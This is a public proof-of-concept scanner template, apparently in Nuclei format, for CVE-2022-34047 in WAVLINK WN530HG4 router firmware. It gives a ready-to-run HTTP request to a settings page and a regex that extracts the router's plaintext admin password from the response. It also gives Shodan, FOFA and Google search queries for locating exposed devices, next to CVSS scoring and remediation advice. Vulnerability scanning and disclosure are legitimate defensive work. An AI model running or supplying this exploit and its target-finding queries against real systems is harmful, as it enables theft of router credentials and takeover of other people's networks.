WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2022-34047
info:
name: WAVLINK WN530HG4 - Improper Access Control
author: For3stCo1d
severity: high
description: |
WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.
remediation: |
Apply the latest firmware update provided by the vendor to fix the access control issue.
reference:
- https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047
- http://packetstormsecurity.com/files/167891/Wavlink-WN530HG4-Password-Disclosure.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-34047
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-34047
cwe-id: CWE-668
epss-score: 0.59183
epss-percentile: 0.98177
cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: wavlink
product: wl-wn530hg4_firmware
shodan-query:
- http.title:"Wi-Fi APP Login"
- http.html:"wn530hg4"
- http.title:"wi-fi app login"
fofa-query:
- body="wn530hg4"
- title="wi-fi app login"
google-query: intitle:"wi-fi app login"
tags: cve,cve2022,wavlink,router,exposure,packetstorm
http:
- raw:
- |
GET /set_safety.shtml?r=52300 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'var syspasswd="'
- '<title>APP</title>'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
regex:
- 'syspasswd="(.+?)"'
# digest: 4a0a00473045022100cb0215370bc8c56d0e86095ea23b71f6485837ffff5121ca7d3c7a64500557530220445d8b9bd5bbc176e439c1fb2f04d8b1c9a2a0d4a6f26c0dc82e99468d514c5a:922c64590222798bb761d5b6d8e72950